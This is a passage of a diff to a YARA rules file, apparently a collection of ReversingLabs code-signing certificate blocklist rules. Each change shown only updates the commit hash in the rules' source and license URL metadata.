-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3902-L3920"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3902-L3920"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5aad8e95d1306626b63d767fce4706104330dd776b75c09cc404227863564307"
 		score = 75
 		quality = 90
@@ -6731,8 +6784,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Fbcaa289Ba925B4E247809B6B028202 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3922-L3938"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3922-L3938"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c41a4f9ccda54b9735313edf9042b831e6eaca149c089f74a823cee6719e1064"
 		score = 75
 		quality = 90
@@ -6756,8 +6809,8 @@ rule REVERSINGLABS_Cert_Blocklist_1F2E8Effbb08C7Dbcc7A7F2D835457B5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3940-L3956"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3940-L3956"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0b446641617d435c3d312592957e19c3d391b0149eafcf9ac2da51e8d9080eb4"
 		score = 75
 		quality = 90
@@ -6781,8 +6834,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aeba4C39306Fdd022849867801645814 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3958-L3976"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3958-L3976"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "82c149f1d8ef93a0df2035690c5cdca935236687bc36a35a84c3d6610eb6902c"
 		score = 75
 		quality = 90
@@ -6806,8 +6859,8 @@ rule REVERSINGLABS_Cert_Blocklist_028D50Ae0C554B49148E82Db5B1C2699 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3978-L3994"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3978-L3994"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e3cc0066cad56d78a3f42e092befa3b0855b2ed33c8465c5ecbb19fec082d35e"
 		score = 75
 		quality = 90
@@ -6831,8 +6884,8 @@ rule REVERSINGLABS_Cert_Blocklist_684F478C7259Dde0Cfe2260112Ca9846 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3996-L4012"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3996-L4012"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "59654ba1df27029a04ef3b1a1bb54f6c15b727f2013923a11a729752b8829743"
 		score = 75
 		quality = 90
@@ -6856,8 +6909,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B7C32208A954A483Dd102E1Be094867 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4014-L4030"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4014-L4030"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "49e2208a7d2b5684283c1dfc9856f864d16b50f951f58e0252c97419819a46ec"
 		score = 75
 		quality = 90
@@ -6881,8 +6934,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E72Daf2B9A4449E946009E5084A8E76 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4032-L4048"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4032-L4048"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f1a7bf6c18e0ebf8aef53feb7d7789ce87c96e00962c64e07a37d968702d2fa5"
 		score = 75
 		quality = 90
@@ -6906,8 +6959,8 @@ rule REVERSINGLABS_Cert_Blocklist_11Edd343E21C36Ac985555D85C16135F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4050-L4066"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4050-L4066"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "17feeed4be074a30572eb12fc81dc15d1b06f2d3f7b4b4fb4443391c62ac4d9b"
 		score = 75
 		quality = 90
@@ -6931,8 +6984,8 @@ rule REVERSINGLABS_Cert_Blocklist_093Fe63D1A5F68F14Ecaac871A03F7A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4068-L4084"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4068-L4084"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "333c58a9af2d94604b637ab0a7280b6688a89ff73e30a93a8daed040fab7f620"
 		score = 75
 		quality = 90
@@ -6956,8 +7009,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bb26B7B6634D5Db548C437B5085B01C1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4086-L4104"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4086-L4104"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58d574b196f84416eb04000205cd8f4817618003f2948bb0eb7d951c282ef6ff"
 		score = 75
 		quality = 90
@@ -6981,8 +7034,8 @@ rule REVERSINGLABS_Cert_Blocklist_29128A56E7B3Bfb230742591Ac8B4718 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4106-L4122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4106-L4122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5a89fec015e56ddddaed75be91a87288dcd27841937d26e3416187913c4f0b85"
 		score = 75
 		quality = 90
@@ -7006,8 +7059,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Bfbfdfef43608730Ee14779Ee3Ee2Cb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4124-L4140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4124-L4140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f8f233b78e9d3558b0cd7978e3c5fa32645a3bb706c6fdec7f1e4195cf513f10"
 		score = 75
 		quality = 90
@@ -7031,8 +7084,8 @@ rule REVERSINGLABS_Cert_Blocklist_62205361A758B00572D417Cba014F007 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4142-L4158"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4142-L4158"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ebf28921c81191bcf6130baf6532122bb320cc916e38ab225f0acdcb57ea00f3"
 		score = 75
 		quality = 90
@@ -7056,8 +7109,8 @@ rule REVERSINGLABS_Cert_Blocklist_4B47D18Dbea57Abd1563Ddf89F87A6C2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4160-L4176"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4160-L4176"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2e464f4e9bfe0c9510a78552acffb241d2435ea9bf3f5f2501353d7f8f280d78"
 		score = 75
 		quality = 90
@@ -7081,8 +7134,8 @@ rule REVERSINGLABS_Cert_Blocklist_Be41E2C7Bb2493044B9241Abb732599D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4178-L4196"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4178-L4196"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "eb5d94b80fd030d14dc26878895c61761825f3c77209ca0280e88dcd1800f9c2"
 		score = 75
 		quality = 90
@@ -7106,8 +7159,8 @@ rule REVERSINGLABS_Cert_Blocklist_15C5Af15Afecf1C900Cbab0Ca9165629 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4198-L4214"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4198-L4214"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5c54f32dbac271b2b60ec40bd052b5566a512cd2bcb4255057b21262806882d2"
 		score = 75
 		quality = 90
@@ -7131,8 +7184,8 @@ rule REVERSINGLABS_Cert_Blocklist_476De2F108D20B43Ba3Bae6F331Af8F1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4216-L4232"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4216-L4232"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e5edf3e15b2139ba6cd85f2cfea63b53f7fa36a3fd7224a4a9ccbe5de6eb6f1d"
 		score = 75
 		quality = 90
@@ -7156,8 +7209,8 @@ rule REVERSINGLABS_Cert_Blocklist_08Ddcc67F8Cad6929607E4Cda29B3503 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4234-L4250"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4234-L4250"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4cd975312ca825b51f34f5c89184a56526877436224c1e7407d715b28ebfd9d5"
 		score = 75
 		quality = 90
@@ -7181,8 +7234,8 @@ rule REVERSINGLABS_Cert_Blocklist_052242Ace583Adf2A3B96Adcb04D0812 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4252-L4268"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4252-L4268"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e1593a2bf375912e411d5f19d9e232c6b87f0897bb6f1c0b0539380b34b05af5"
 		score = 75
 		quality = 90
@@ -7206,8 +7259,8 @@ rule REVERSINGLABS_Cert_Blocklist_Bebef5C533Ce92Efc402Fab8605C43Ec : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4270-L4288"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4270-L4288"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "daa57ad622799467c60693060e6c9eea18bdf0bb26f178e8b03453aab486ccf4"
 		score = 75
 		quality = 90
@@ -7231,8 +7284,8 @@ rule REVERSINGLABS_Cert_Blocklist_1D3F39F481Fe067F8A9289Bb49E05A04 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4290-L4306"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4290-L4306"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2fdf8b59d302d2ce81a1e9a5715138adc1ec45bd86871c4c2e46412407e329f9"
 		score = 75
 		quality = 90
@@ -7256,8 +7309,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Be35D025E65Cc7A4Ee01F72 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4308-L4324"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4308-L4324"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dad7ab834a67d36c0b63e45922aea566dc0aaf922be2b74161616b3caea83fdc"
 		score = 75
 		quality = 90
@@ -7281,8 +7334,8 @@ rule REVERSINGLABS_Cert_Blocklist_351Fe2Efdc0Ac56A0C822Cf8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4326-L4342"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4326-L4342"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "46b87c3531e01ba150f056ec3270564426363ef8c58256eeedbcab247c7625e4"
 		score = 75
 		quality = 90
@@ -7306,8 +7359,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Cfbb4C69008821Aaacecde97Ee149Ab : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4344-L4362"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4344-L4362"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d74b13eeb5d0a57c5dd3257480230c504a68a8422e77a46bb2e101abb2c7f282"
 		score = 75
 		quality = 90
@@ -7331,8 +7384,8 @@ rule REVERSINGLABS_Cert_Blocklist_C04F5D17Af872Cb2C37E3367Fe761D0D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4364-L4382"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4364-L4382"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4a4d60aa3722a710fe23d5e11c55a28bfe721bb4e797b041d58f62a994487799"
 		score = 75
 		quality = 90
@@ -7356,8 +7409,8 @@ rule REVERSINGLABS_Cert_Blocklist_02C5351936Abe405Ac760228A40387E8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4384-L4400"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4384-L4400"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5a990f8d1a3f467cdafa0f625bc162745d9201e15ce43fdc93cd6b1730572e89"
 		score = 75
 		quality = 90
@@ -7381,8 +7434,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Ecd829Adcc55D9D6Afe30Dc371Ebda6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4402-L4420"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4402-L4420"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "02955f4df7deccab52cdd82fd04d5012db7440f85c87d750fa9f81ff85e2dab0"
 		score = 75
 		quality = 90
@@ -7406,8 +7459,8 @@ rule REVERSINGLABS_Cert_Blocklist_B0167124Ca59149E64D292Eb4B142014 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4422-L4440"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4422-L4440"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "10d980d4a71dab4679376f5a6d6a6999e0b59af4f25587a7b8d1ef52a7808cc9"
 		score = 75
 		quality = 90
@@ -7431,8 +7484,8 @@ rule REVERSINGLABS_Cert_Blocklist_112613B7B5F696Cf377680F6463Fcc8C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L4442-L4458"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L4442-L4458"
